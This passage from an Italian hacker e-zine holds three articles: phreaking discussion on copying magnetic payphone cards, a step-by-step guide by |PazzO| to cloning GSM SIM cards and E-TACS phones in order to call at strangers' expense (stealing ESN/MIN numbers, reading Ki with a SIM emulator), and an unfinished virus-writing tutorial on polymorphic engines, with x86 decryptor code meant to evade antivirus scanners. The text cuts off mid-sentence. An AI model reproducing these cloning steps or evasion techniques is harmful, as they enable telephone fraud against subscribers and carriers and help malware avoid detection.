dovrebbero continuare ad aggiornare la tessera usata >> se questa cosa e' inutile ? >perche' hai presente quanto costa aggiornare o cambiare >tutti i rotor in giro.. quando hanno dovuto sostituirli >per il fatto che potevi mettere del nastro isolante >sulle tessere e renderle illimitate (nel '92 mi sembra) >e perche' molti non andavano con le carte di credito >telefoniche, ok, c'era una buona ragione.. ma il fatto >che il rotor funzioni, ma faccia una cosa in piu' non >e' una buona ragione... >>Sei comunque riuscito a duplicare una tessera e a farla >>accettare al rotor ? >si, ma non scrivendo sulla banda delle tessere Telecom. >leggendone una nuova con una testina di un rotor >(capitata tra le mani misticamente) e scrivendo con >una testina di un registratore a bobina su del nastro >a bobina (i registratori che si usavano alcune decine >di anni fa, con la bobina larga piu' o meno come le >videocassette) e poi incollando questo su una tessera >vuota... ---- \\Qui si parlava del tipo di modulazione utilizzato >In generale (non so nulla a proposito delle CARTE in questione) la tecnica >di memorizzazione di 0 e 1 e' fatta creando una transizione da livello +X >Volt a 0 V (oppure da +X Volt a 0, a seconda di cosa e' la cifra >precedente) ad ogni cifra memorizzata. >Se la cifra e' uno si troveranno due gradini consecutivi come segue: 1 >---- ----- > | | | > ----- ---- > ^ ^ > clock clock > |----------| > (periodo) >Se la cifra e' zero si troveranno due gradini contrapposti come segue: > 0 >---- ----- > | | > ----- ----- > ^ ^ > clock clock > |-----------| > (periodo) >La codifica e' fatta di proposito per fare in modo che 1 e 0 siano >riconosciuti anche quando la velocita' di trascinamento sia dis-uniforme. >Infatti basta che tra un RISE di Clock e l'altro la tessera non raddoppi la >velocita' e tutto funziona. Se le velocita' raddoppia la viene perso il >sincronismo. >In generale i sistemi di lettura per questi tipi di codifica strisciano con >velocita' arbitraria la tessera (con il vincolo unico che la velocita' non >raddoppi tra un bit e l'altro, cosa assai difficile per un motore di >trascinamento :) ) e si sincronizzano su un tratto iniziale di tessera che >ha impulsi tutti uguali ad 1 e che determinano in questo modo la lunghezza >del periodo (si sentiranno transizioni a frequenza 2T!!). >La lettura avviene in corrispondenza della freccia "clock". >Se esiste una transizione tra livello alto e basso (o viceversa) significa >che abbiamo due scalini consecutivi uguali e la cifra e' UNO. >Se la transizione non viene rilevata significa che abbiamo due scalini >contrapposti e la cifra e' ZERO. >Chiaramente il Clock non e' rigido (freq. fissa) bensi' si mantiene >sincronizzato inseguendo quello della tessera: la transizione che e' sempre >presente all'inizio di un periodo ne determina inizio e fine (= la >transizione successiva). >Ecco che basta "sondare" a in un intorno della meta' periodo per sentire (o >meno) la transizione. >Se la tessera accelera, il clock la insegue e la stringa di BIT e' coerente. >Per quanto rigurada la forma degli impulsi, se la larghezza di banda del >circuito di lettura e' stretta, il segnale ad onda quadra che e' memorizzato >e che e' formato da infinite armoniche (SIN e COS a freq multipla di quella >base) viene "impoverito" in quanto le armoniche con frequenza superiore a >quella massima ammessa dal circuito vengono totalmente attenuate. >Conclusione: un 'onda quadra che e' frutto della somma di pochi SIN e COS. >Se provi a sommare un SIN di frequenza F ed un COS di frequenza 2F troverai >quella rappresentazione che hai pubblicato nel tuo articolo e che hai >associato ad una cifra 1. Se sommi SIN a freq. F e SIN a freq 2F troverai >l'altra cifra. >E' quindi una questione di Banda passante del circuito di lettura e >scrittura. In Particolare la Sound Blaster nella migliore delle ipotesi ti >limita a 44KHz. ---- \\Possibilita' di esistenza di un server remoto ? >Non ho notizie interessanti in merito ma c'e' un motivo (per me) per >credere che ci sia uno scambio di informazioni tra alcune cabine telefoniche >(quelle che dispongono dell'allacciamento al DataBase in questione e quindi >le piu' "recenti") e la centrale. >Io possiedo una Call-It Omnia che uso spesso da telefoni pubblici e privati. >L'attesa della validazione della carta prima della digitazione del PIN >comporta un collegamento in centrale dove viene fornito il PIN corretto >(prima che io lo digiti) per poi usarlo (da parte del lettore) come >confronto con quello inserito da tastiera. >Se esso e' corretto la linea e' data ISTANTANEAMENTE mentre per vedere >apparire C.U. o Codice Utente il tempo e' variabile (tempo necessario >all'interrogazione). >Anche le tessere telefoniche non sempre forniscono l'importo immediatamente >ma c'e' un DELAY arbitrario che non puo' essere imputabile alle diversita' >di apparecchio lettore! >D'altro canto in giro per l'Europa e nel mondo e' molto piu' diffuso il >modell a MicroChip che garantisce (quasi) la inibizione della ricarica e/o >falsificazione. >Questo metodo (quello del Database) e' ancora piu' sicuro. >1) Impedisce che una tessera venga usata per piu' dell'importo pagato. >2) Una eventuale falsificazione del numero seriale porta all'utilizzo di una >tessera altrui che potrebbe portare ad una denuncia da parte >dell'interessato e quindi ad un rintracciamento dell'uso di quella tessera >IN TUTTA ITALIA con pochissimo disturbo da parte TELECOM mentre alla >SEGNALAZIONE AUTOMATICA DI TENTATA FRODE se il numero seriale non e' ancora >in produzione e quindi manca nel DataBase! >In entrambe i casi TELECOM non perde denaro e scopre il colpevole. >Sarebbe il metodo piu' efficiente per evitare le frodi. >Concludendo posso anche dire che il tempo per la convalida della tessera >tramite Serial Number non e' poi cosi' "laborioso" in termini di tempo e >quindi non escludo che cio' sia realmente in funzione. >Io quindi sono piu' per il NON RICARICABILE. L'unico motivo che mi potrebbe >far cambiare idea e' l'analisi di una linea uscente dalla cabina con qualche >strumento di misura che permette di vedere se la comunicazione dell'importo >c'e' oppure no. >Questo puo' essere effettuato possedendo un rotor ed alimentandolo >correttamente. Collegandolo alla linea telefonica ed inserendo una tessera, >sniffare cosa avviene sulla linea: solo cosi' si sara' certi se il rotor ci >"taglia le gambe" oppure no. >Comunque, visto che sei riuscito a leggere la tessera non dovrebbe esserti >difficile copiarla con due testine, un amplificatore (di bassa tensione ma >elevata corrente), un filtro, un adattatore di segnale e un sistema di >movimento contemporaneo di due testine (mi viene in mente una stampante ad >aghi che ha il nastro lungo almeno 30 cm e sul quale fissare le 2 testine >interconnesse tramite Amply, filtro ed eventuale elaborazione del segnale). >Una volta copiate potrai finalmente vedere se gli scatti sono solo su >tessera oppure anche in centrale. >Io comunque resto dell'idea che alcuni apparecchi vecchi non siano dotati >del sistema. >D'altra parte, perche' la Telecom rimpiazzerebbe i Telefoni + Lettore con >quelli nuovi senza gettoni ma solo a schede: secondo me sono questi ultimi >che trasmettono il Serial e non quelli vecchi (penso a qualche telefono che >ho visto in locali fatiscenti dalle mie parti dove la telecom non entra >nemmeno a riscuotere l'incasso ma se lo fa dare dal gestore !!!) ---- Infine, ecco un'aggiunta dell'ultim'ora da parte di |PazzO| : "Pensare che le migliaia di cabine Telekom siano connesse tutte allo stesso server della rete e' impossibile perche' il ritardo e' irrisorio (800-900 m/s) per una interrogazione dello stesso. E' pur vero che su Internet le informazioni viaggiano rapidamente (vedi esempio sopra), ma se tu dai allo stesso server invece che 1, 1000 richieste in contemporanea mi sa che devi aspettare almeno un minutino prima di ricevere risposta. Pensate in questo momento in TUTTA Italia quanta gente sta infilando una tessera in un telefono e pensate pure ad un server potente, ma non vi paiono pochi 0,5-1 secondo in media (a partire dalla lettura all'arrivo del totale)? E poi se cio' fosse vero il telefono dovrebbe rimanere collegato per l'intera durata della telefonata per aggiornare l'archivio e lo sapete adesso quanta gente e' attaccata ad un telefono pubblico? Secondo me l'ipotesi piu' plausibile e' che vi siano piu' di un server dislocati in Italia che vengono tenuti constantemente aggiornati tra di loro. La mia opinione e' che la Telecom utilizzi la rete inteliggente solo ed esclusivamente per controllare i numeri di serie in modo da poter rendere inutili ingenti quantita' di schede rubate o schede riprodotte bloccandone la utilizzazione. In questo modo risparmierebbe tempo nell'autenticazione e si spiegherebbe il fatto che le tessere continuino a contenere l'importo. In definitiva le tessere entrano nel telefono e solo quando vengono terminate sono segnalate come tali alla rete. Cmq evidentissimo e' il fatto che non tutti i Rotor sono connessi alla rete nemmeno quelli di ultima generazione visto che sotto casa mia c'e' un rotor solo a schede al quale arriva un solo doppino di cavi e non due come descritto prima. Utopia e' secondo me l'eventualita' che i Serial siano progressivi o di facile algoritmo, una volta che si fanno non vedo perche' si sarebbero dovuti fare cosi' facili da riprodurre. Cmq io non mi scoraggio, 5 o 6 mesi fa mi e' capitato di ascoltare al TG1 di una mega truffa ai danni della telecom. Con una macchina particolare una banda prendeva le SCHEDE VECCHIE e le RICARICAVA rivendendole a meta' costo ai tabaccai che cosi' ci guadagnavano il 50 %. A tutte pero' mancava il famoso talloncino di garanzia che e' stato fatale alla banda, che e' stata cosi' catturata. Ora se tutto cio' e' vero, questi hanno scoperto l'algoritmo e hanno trovato il modo di ricaricare una scheda, di cancellarla e di riscriverla. Se ci sono riusciti loro........." |PazzO| A voi la sentenza... siete localisti o serialisti ? o una via di mezzo? Volete propormi una nuova filosofia :) ? Scrivete a bfi98@usa.net per qualsiasi commento o idea.. Ringrazio moltissimo TimeScape, CDP, Poldo per l'interesse dimostrato e per tutte le informazioni che sono giunte nella mia mailbox. Spero di avere presto delle novita'..... Jack McKrak ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍPHREAKiNGÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CELLULARi AND RELATED - III PARTE ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍͼ Autore: |PazzO| Consumo: 20 ore di sonno + o -, 5 Startac rubati (scherzo), 1 pacco di Marlboro Lights alla Menta from CUBA Rompimenti di coglioni: Telefono maledetto, Estate' finito, magnum squagliato, Caldo a 45ø Musica Ascoltata: OasiS ora e sempre. Dedica: A tutti (Specialmente S......) sperando che impariate qualcosa. Subject: GSM cloning (Almeno questo era l'intento prima di scrivere l'articolo) Eccoci di nuovo qui, con il nostro bel cellulare E-Tacs clonato fresco fresco in mano e con tanta voglia di andare avanti. In questa parte della mia mini-guida cerchero' di spiegare come funziona il sistema GSM e come si possa fare per clonare una Sim card e chiamare gratis (a spese altrui). Prima di tutto e' bene fare distinzione tra Cellulare e Sim Card. Il Cellulare GSM e' un semplice apparecchio che contiene l'Hardware necessario alla connessione alla rete e il Firmware con le opzioni che gestiscono l'Hardware e le funzioni della Sim Card stessa. La Sim Card (per capirci e' la carta che si inserisce nel cellulare a forma o di francobollo o di tessera) e' un microchip che contiene i numeri che identificano il nostro gestore (Tim-Omnitel), l'identificativo del nostro abbonamento e gli algoritmi per identificarsi in rete (ki, A8 etc). Ora, mentre per gli E-tacs era necessario semplicemente riprogrammare lo stesso e inserire i numeri di identificazione nuovi (per i dettagli vedi BFI2 Cellular and Related by |PazzO|) in questo caso e' necessario "duplicare" la sim card in modo da poter crearne una identica e utilizzare il contratto di qualcun altro. Prima di tutto e' necessario quindi analizzare la Sim Card in ogni sua parte poiche' e' qui che concentreremo i nostri sforzi. La Sim Card (Subscriber Identity Modume) contiene fra le altre cose un processore capace di eseguire algoritmi di criptazione oltre ad una memoria seriale. Nella memoria sono conservati tutti i dati in formato digitale che servono al GSM, precisamente: 1) International Mobile Subscriber Identity (IMSI) che definisce il numero di identificazione del proprietario e il gestore che ha emesso la carta. 2) Individual subscribers authentication key (Ki) che e' la chiave di autenticazione. 3) Ciphering key generating algorithm (A8) che e' l'algoritmo comune delle carte GSM. 4) Authentication algorithm (A3) che e' l'algoritmo che genera la risposta durante l'autenticazione. 5) Il famoso PIN 1 e PIN 2 (Personal Identification Number) per la sicurezza della Sim. 6) Il PUK che non sto a spiegarvi (sicurezza del PIN). 7) La rubrica dei numeri di telefono. 8) I messaggi memorizzati (SMS). 9) La lista di gestori che si preferisce in "Ricerca rete". Per capire come funziona l'autenticazione al network basta leggere la seconda parte di questa guida (si trova in BFI2) nel quale mi pare di avere illustrato tutto per bene. Ora vediamo di capire DOVE sono memorizzati questi dati sulla sim card. Ecco il Chip: +---------------+ Uscite dei Pin: 1 : Voltaggio (5v) (!?!) | 4 | 3 | 2 | 1 | 2 : Reset | | | | | 3 : Orologio | |-------| | 4 : Non In uso +---+ +---+ 5 : Ground | | | | 6 : Voltaggio di programmazione | | | | | 7 : Dati Input/Output | 8 | 7 | 6 | 5 | 8 : Non in uso +---+---+---+---+ _____ | _ | | |S| |---------> Questa e' la posizione della carta per comprendere il | | disegno sopra. | | S = Chip della sim card (rivolta verso l'alto) | TiM | |_____| Come potete vedere il cellulare e' connesso in sei punti alla sim card ed e' da li' che vi dialoga e la interroga. Ogni cellulare contiene i comandi esatti che necessita la Sim Card per essere interrogata e gli unici ai quali essa risponde (es. A0 20 00 08 seguito dal pin in esadecimale e' l'operazione che facciamo alla SIM ogni volta che accendiamo il cellulare e inseriamo il PIN). Ora il nostro compito e' esattamente DUPLICARE la sim card di un altro per usarla a nostro uso e consumo. Il cellulare GSM puo' entrare sulla Sim in Lettura e scrittura poiche' possiede l'Hardware adatto. Schematicamente cio' che ci tocchera' fare e': 1) Collegare il GSM al Pc tramite porta parallela con il cavo che abbiamo precedentemente costruito (grazie ad uno schemino + o - semplice). 2) Lanciare un emulatore di Sim Card per far credere al celly di averne una valida inserita e per poter usare il cellulare e riprogrammare il suo Firmware. 3) Adesso possiamo personalizzare i menu', copiare il contenuto del cellulare sul pc, svuotarlo. 4) Copiare il contenuto di una SIM valida sul cellulare vuoto. 5) Portarlo sul PC. 6) Chiamare Gratis :) Ora la parte piu' difficile e' costruire il cavo anche se nel programma fornito con questo numero di BFI si trovano schemi dettagliati, ma se vi potete fare dare una mano da uno che ne capisce di elettronica fate meglio e fate prima. Una volta pronto il cavo ed interfacciato il vostro cellulare sul PC lanciate il programma ASIM ed accendete il cellulare. Ora siete in grado si manipolare il software del cellulare, attivare funzioni nascoste, cambiare le scritte dei menu', utilizzare il cellulare a proprio piacimeto. Da questo punto in poi vi consiglio di non agire se non siete dei veri ESPERTI. Copiate e salvate i frame del vostro cellulare sul vostro PC e custoditeli, contengono tutto il software del vostro celly. Adesso cancellateli dal vostro telefonino svuotandolo da tutto. Accedete tramite gli appositi comandi alla SIM card VALIDA e leggetene il Ki e l'IMEI. Copiateli sul PC e inseriteli nel programma SIM emulator che ne e' privo. Ripristinate il Firmware del cellulare ricopiando i frame ad uno ad uno sullo stesso. CHIAMATE GRATIS. Per i comandi validi vi rinvio all'help del Sim Emulator che e' molto dettagliato e fatto molto bene. Tutto cio non e' purtroppo semplice, ma e' in corso un progetto di GSM Cloning mio e di Dashie che ha come obbiettivo il semplificare i passaggi sopra descritti e magari il creare un programmino che aiuti tutti quanti vogliano cimentarsi. I risultati di detto Project saranno probabilmente pubblicati al pubblico sul numero autunnale di BFI. Cmq non disperate, presto riuscirete a clonare anche i GSM, e' questione di tempo e pazienza (d'altronde e' uno standard molto recente). Se fino ad adesso mi sono concentrato sulla Sim Card cio' non toglie che anche gli apparecchi (GSM 900) hanno i loro segreti ed aspettano solo di essere svelati. Mentre gli E-tacs forniti di ESN (Electronic Serial Numba) erano clonabili via software con un semplice cavo se non addirittura via tastiera, anche i GSM hanno delle funzioni o menu' inibiti o per motivi di legislazione o per guadagnare piu' soldi facendo uscire versioni nuove degli STESSI cellulari. Il piu' famoso e sputtanato segreto e' quello del Motorola 8700 "ENG FIELD OPTION". Questa funzione permette di attivare un indicatore che calcola la distanza esatta in metri dell'antenna base al cellulare per localizzare la stessa (proibito dalla legge naturalmente) e in secondo luogo permette di visualizzare durante una chiamata la qualita' del segnale e la cella utilizzata, visualizza anche se il segnale e' basso o assente (se assente per + di 5 sec mostra la nuova cella selezionata e lo switching). Per attivare questa funzione basta avere un motorola d460, 2500, 6200 (Flare), 7500, 8200, 8400 o 8700 (non troppo recente) ed eseguire la procedura: ATTIVA [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok] DISATIVA [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok] (pause vuol dire tenere premuto * fino a quando nno appare un quadratino sul display). Poi si va nel menu' e magicamente appare la nuova funzione, si attiva ed e' fatto. Adesso se MENTRE CHIAMATE volete sapere dove sta l'antenna andate nel menu', selezionate ENG FIELD OPTION poi selezionate ACTIVE CELL. Adesso schiacciate menu fino a quando non appare: TIME ADV xxx dove l'xxx e' un numero che moltiplicato per 550 da' la distanza in metri. Per sapere invece la cella basta ripetere l'operazione di prima in stand-by, solo che invece di TIME ADV xxx vi apparira' C1 e il valore del segnale in decimale. Molti di voi si saranno chiesti che ci faccia l'orologio sull'8700 se poi non va. Beh quell'orologio va e come solo che per farlo andare MOTOROLA si e' dimenticato (apposta) il quarzo e quindi non cammina e rimane fermo sempre alla stessa ora. CMQ per attivarlo andate con l'ASIM nei frame e quando troverete clock 0 mettete clock 1. Ah, dimenticavo, per vedere l'IMEI sul vostro motorola 8700 schiacciate *#06# (mi pare anche sugli ericsson) e vi eviterete la fatica di costruirvi il cavo. Ogni cellulare ha i suoi segreti che sono facilmente reperibili su Inet ( www.mobileworld.org ; www.cellular.co.za/gsm-phonesecrets.htm ) e funzionano QUASI sempre, se siete smanettoni come me ben presto arriverete a rischiare di bruciare il vostro startac 85/100 solo per vedere all'accenzione un bel disegnino con la scritta |PazzO| e un teschietto disegnato al PC. Per ritornare agli E-tacs, nella seconda parte avevamo clonato un E-tacs adesso faccio un regalino ai possessori di motorola regalandogli il SOFTWARE UFFICIALE (per intenderci e' quello che usa anche il centro assistenza sotto casa) per riprogrammare una buona parte dei telefoni motorola E-tacs con il PC. Ricordate, ecco i passaggi: 1) FOTTERE UN ESN (sotto la batteria di tutti gli e-tacs) e il MIN (numero di Tel del povero celly che verra' clonato) [pensate che conosco un tipo che raccoglie la spazzatura dei centri tim e ne fotte a centinaia!]. 2) Preparare il cavo per collegare il VOSTRO celly al PC (Li trovate facilmente su Inet). 3) Lanciare il programma. 4) In 60 secondi netti (io ho fatto anche di meglio sotto i 20 sec) inserire i nuovi dati [ci potete mettere anche un ora se avete time to waste]. 5) Staccare il tutto. 6) Chiamare Gratis. Ripeto, se ho scritto stronzate e cazzate (non e' possibile), cose giustissime, vi ho reso felici e mi volete aiutare, collaborare scrivete a: BFI98@usa.net e indirizzate la lettera a me. Io sono solo un amatore e non ho soldi da spendere per comparare i costosi libri sul sistema GSM quindi se mi volete aiutare, uniti si fotte meglio e di +. Ora volo al mare, ci vediamo a Settembre con altro Phr e speriamo finalmente di scrivere anche di Hacking!!!!!! |PazzO| ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍViRiiÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ M0T0Ri P0LiM0RŸi ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Autore: b0z0/iKX Consumo: qualche litro di yogurt da bere (...e vomitare + sul tardi) un mix di un po' di qualsiasi altra cosa che possa essere bevuta una melanzana (w0w!) Musica ascoltata: Garbage - Garbage e Version 2.0 Sonic Youth - A Thousand Leaves Smashing Pumpkins - Adore Joan Jett and the Blackhearths - bo, una cassetta non mia Dedicato a: TAnK_G|rL Greets: tutto il SoftPJ, tutto l'IKX e tutti gli altri fratelli e sorelle Intro: ÄÄÄÄÄÄ Uno dei punti fondamentali per un virus e' indubbiamente la capacita' di non farsi trovare dai vari antivirus in memoria oppure sulla vittima scelta (sia questa file, boot sector o che altro). Fino a non troppo tempo fa gli antivirus per trovare un virus si affidavano semplicemente alla ricerca di una data stringa (corrispondente ad una sequenza di comandi) conosciuta contenuta nel virus. L'idea su cui si basa il polimorfismo e' appunto il cambiare forma ogni volta che ci sia questa necessita' (x esempio ad ogni infezione), non lasciando quindi una stringa fissa agli antivirus researchers. Un motore polimorfo e' infatti proprio un pezzo di codice da poter aggiungere al proprio virus che ha il compito di renderlo ogni volta differente. Per poter raggiungere questo un motore polimorfo in genere dovra' svolgere due passi principali: 1) Crittare il virus (e se stesso ovviamente) con un qualche algoritmo cambiando la chiave ad ogni generazione in modo che non possa venire piu' utilizzata una semplice stringa di scansione 2) Generare un pezzo di codice che decritti il virus al momento opportuno (quando il virus dovra' entrare in azione) Le operazioni matematiche + banali che possono essere facilmente usate per crittare il corpo del virus disponibli su x86 sono le solite ADD, SUB, XOR... Si puo' vedere subito che anche semplicemente usando una di queste tre operazioni crittando byte x byte abbiamo 256 possibili mutazioni del corpo del virus. Combinandone alcune (magari cambiando la chiave ad ogni byte) o crittando word per word o adirittura prendendo in considerazione un dword alla volta le possibili mutazioni crescono a dismisura. Il vero problema e' che, chiaramente, insieme alla parte crittata del virus nelle sue innumerevoli possibili variazioni dovremo mettere anche il codice che decritti la cosa voluta. Infatti nel momento in cui il virus dovra' essere eseguito non avrebbe molto senso far eseguire i bytes crittati al processore :) Ma ovviamente scrivendo semplicemente il pezzo di codice che decritti la parte crittata saremmo arrivati di nuovo al punto di prima: infatti gli AV dovrebbero solo usare la routine di decrittazione come stringa di scansione e troverebbero cmq il virus. La parte piu' interessante ed impegnativa nella scrittura di un motore polimorfo e' appunto la scrittura del code che crea il decryptor. Supponiamo ad esempio di aver crittato il nostro codice usando un xor a bytes con il valore 12h, allora il decryptor potrebbe essere: mov cx,encrypt_lenght mov di,encrypt_zone dloop: xor byte ptr [di],12h inc di loop dloop Quindi partendo dal puntatore DI (che si presume punti alla parte crittata) per il dato numero di bytes messi in cx eseguiremo la decrittazione (credo non ci sia bisogno di spiegare che ((A xor B) xor B) = A no? :) ). Ma usando una cosa fissa di questo tipo (o magari anche solamente cambiando la chiave) vorrebbe dire dare agli AV abbastanza codice fisso x scannarci. Ma lo stesso decriptor si puo' anche scrivere, che ne so: mov si,encrypt_zone mov bx,encrypt_lenght dloop: dec bx xor byte ptr [si],12h inc si or bx,bx jnz dloop O in altri mille modi. Inoltre, perche' no, tra un istruzione vitale per il decryptor e l'altra potremmo metterci qualche istruzione casuale che non vada a rompere alla routine principale. Ed e' proprio questo quello che un motore polimorfo deve fare: generare il maggior numero possibile di routine per la decrittazione in modo tale che l'antivirus non possa usare queste (o parti di queste) come stringa per la scansione. Certo, questa e' solo l'idea basilare per non dare la possibilita' ad un AV di ricercare il virus con una stringa. Infatti le poly engines moderne per controbattere agli AV un po' meno penosi (hehe :) ) devono fare anche altro, ma prima ci concentreremo sulla teoria di un motore polimorfo senza troppe finezze :) I codici del x86: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Prima di incominciare a scrivere propriamente dei motori polimorfi dobbiamo dare uno sguardo al formato delle istruzioni della famiglia di processori x86. Essendo un motore polimorfo nient'altro che un generatore di codice a tutti gli effetti, ovviamente e' necessario conoscere bene come funzionano i codici operativi (opcode) del processore. Per chi si addentrera' nello scrivere un motore polimorfo e' cmq necessario disporre di una tabella di tutte le opcode del processore che puo' essere trovata su qualche libro o tanto meglio scaricata da qualche sito. Principalmente ogni tipo di istruzione asm ha una sua parte fissa piu' una parte che cambia in base al registro (o ai registri) usati con quella data operazione. Forse facciamo prima e sara' molto + chiaro con un esempio :) Operazione mov reg16,imm16 E' un operazione che muove il valore imm16 (un immediato da 16 bit come il nome stesso dice ;) ) nel registro a 16 bit scelto. Vediamo il codice di un paio di esempi di questa operazione: mov ax,0h B8 0000 mov cx,0h B9 0000 mov bx,0h BB 0000 etc. Possiamo subito vedere come vanno le cose. Ad un opcode di partenza (B8 in questo caso) viene aggiunto un dato valore in base al registro scelto e piu' precisamente possiamo creare il codice opportuno per qualsiasi registro aggiungendo il valore rispettivo seguendo questa tabella: Registro ³ Valore ÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ AX ³ 000b CX ³ 001b DX ³ 010b BX ³ 011b SP ³ 100b BP ³ 101b SI ³ 110b DI ³ 111b Quindi sapendo l'opcode di partenza trovato nelle specifiche del processore possiamo facilmente generare codice x qualsiasi dei registri disponibili. Quando invece di usare registri a 16 bit usiamo registri a 8 bit le cose sono piu' o meno uguali. Cambia ovviamente l'opcode di partenza (per esempio mov reg8,imm8 corrisponde nel caso base mov al,0h al codice B0 00) e cambia la tabella di addizione per i registri che si trasforma in: Registro ³ Valore ÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ AL ³ 000b CL ³ 001b DL ³ 010b BL ³ 011b AH ³ 100b CH ³ 101b DH ³ 110b BH ³ 111b Semplice. Qualcuno potrebbe chiedersi cosa succede usando registri dword (a 32bit). Beh, li' rimane tutto uguale come per le word, solo che ci viene aggiunto prima il byte di prefisso 66h o 67h (dipende dal comando voluto). Cosa succede quando l'operazione richiede due registri da usare? Beh, la cosa e' simile, ad esempio per un generico mov reg16_1,reg16_2 ci basta prendere l'opcode base dell'istruzione (8B C0 in questo caso, dalla doc vedrete che il primo byte rimane fisso quindi per i registri andremo a cambiare solo il secondo) sommare il valore del registro sorgente (reg16_2) e dopodiche' sommare il valore del registro di destinazione moltiplicato per 8 (che poi si riduce ad un shift a sinistra di 3). Quindi ad esempio per un mov cx,dx avremo C0h + 02h + (8 * 01h) e quindi il codice per l'istruzione voluta sara' infine 8B CA. Chiaramente ove l'istruzione richiede un valore immediato (come nell'esempio precedente), un indirizzo di memoria, un offset da un registro o qualcos'altro oltre al codice verra' aggiunta di seguito dopo l'opcode di base (ad esempio prima nel mov ax,0000 dopo il B8 chiaramente ci e' andata una word 0h). E questa e' in brevissimo la teoria sulla quale si basano le opcodes della famiglia di processori x86. Queste cose, se pur banali e magari pallose, sono fondamentali per evitare di scrivere kilobyte e kilobyte di codice inutile invece di utilizzare una semplice tabella con una somma :) Ci sono ancora un paio di cosette sulle quali fare attenzione da dire per evitare di farvi perdere troppo tempo nella ricerca sulle tabelle delle opcodes che cmq dovrete prendervi e iniettarvele nelle vene: - esistono una sfilza di codici otimizzati per il registro accumulatore (AX) e per gli otto bit inferiori di questo (AL). Attenzione a NON considerare quelli come codice base alla quale aggiungere i valori della tabella sopra, dato che quelli sono appunto codici otimizzati SOLO per l'AX e l'AL. Esempio: and al,01h ; 24 01 and al,01h ; 80 E0 01 and cl,01h ; 80 E1 01 E' chiaro che se prenderete la prima (otimizzata) come base farete una gran bella schifezza :) Quindi se volete utilizzare quella ottimizzata (perche' no) ricordatevi di mettere un check aggiuntivo per l'AL e l'AX. - quando usate operazioni matematiche attenti alle diverse opcodes in base alla grandezza del vostro argomento. Infatti, esempius: add cx,01h ; 83 C1 01 add cx,01h ; 81 C1 0001 Chiaramente la differenza delle due e' che nella prima l'operazione puo' essere fatta con l'argomento da 00 a 0FFh mentre nella seconda da 0000h a 0FFFFh sebbene poi tutti e due lavorino su tutti e 16 i bit del registro voluto. Quindi attenti alla scelta in base all'utilizzo che ne dovete fare. Scrittura di un decryptor: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Adesso che la situazione sulla creazione di opcodes a nostro piacimento dovrebbe essere piu' chiara, alla parte piu' interessante: la generazione di un decryptor. Vediamo di individuare le parti necessarie per una semplice routine per la decrittazione del corpo crittato: - Setup di certi registri necessari e altre possibili cose, + precisamente: + almeno un puntatore che puntera' sulla parte da decrittare (a questo potrebbe essere aggiunto un offset stabile o non stabile) + almeno un contatore che ci indichi quando abbiamo finito di decrittare il corpo crittato + eventuale registro per tenere la chiave di decrittazione + eventuale correzione di qualche segmento + eventuali altri setup (tipo far si' che il segmento di memoria sia scrivibile se siamo in un sistema che implementa la protezione della memoria, tipo win16, o fare degli aggiustamenti a dati registri se magari partiamo dal boot) - Loop di decrittazione vero e proprio + operazione vera e propria che esegue l'operazione matematica per la decrittazione (usando la chiave come un immediato o la chiave contenuta in un registro) + operazione per spostare il puntatore alla prossima cosa (byte,word..) da essere decrittata + operazione per aggiustare in contatore di operazioni da eseguire + eventuale cambio di chiave per il prossimo loop + controllo se la decrittazione e' finita, in caso contrario salto all' inizio del loop di decrittazione Questo piu' o meno e' quello che dovrebbe essere eseguito. Possiamo vedere subito come certe operazioni debbano avvenire prima di altre mentre per alcune l'ordine non e' necessario. Ad esempio finche' il puntatore non e' settato bene sul corpo crittato non ha senso eseguire l'operazione di decrittazione, dato che andremmo a sputtanare un po' di memoria a caso :) Xo' ad esempio non c'e' alcuna differenza se invertiamo l'ordine dei tre punti del setup dei registri in qualsiasi modo. Anche gran parte dei punti interni alla parte loop di decrittazione puo' essere invertita. Quindi anche da un set ridotto (immaginando di scrivere per ogni punto sopra un solo comando) di istruzioni riusciamo a generare + decryptor che cmq funzioneranno allo stesso modo. Code sample: decryptor1: decryptor2: decryptor3: mov ax,100h mov di,200h mov di,200h mov di,200h mov ax,100h mov ax,100h loop: loop: loop: xor [di],1010h dec ax xor [di],1010h add di,2 xor [di],1010h dec ax dec ax add di,2 add di,2 cmp ax,0 cmp ax,0 cmp ax,0 jnz loop jnz loop jnz loop Nell'esempio eseguiremo lo XOR con una word 1010h partendo dall'indirizzo DS:200h (si presume che DS sia proprio il segmento dove c'e' il codice che vogliamo decrittare ovviamente) per 100h words (qui AX e' il contatore) e ovviamente ad ogni passo salteremo alla prossima word (add di,2). Infine il check che fara' stare nel loop il programma fino alla fine della nostra decrittazione. Potete subito vedere che semplicemente swappando un paio di istruzioni, delle quali l'ordine non e' importante, siamo riusciti a creare tre diversi decryptor. Credo non ci sia bisogno di dimostrare che i tre pezzi di codice sopra siano equivalenti (ma magari qualche pirla che ben conosco mi avrebbe chiesto la dimostrazione formale del equivalenza dei tre pezzi di codice :P ;) ). Quindi, prima cosa importante da tenere a mente, un modo per creare molti decriptor e quella di cambiare l'ordine delle operazioni che non necessitano un dato ordine fisso. Ma veniamo alla prossima. Cosa potremmo ancora cambiare nelle routine di sopra? Bah, se non altro per cominciare i registri. Potremmo 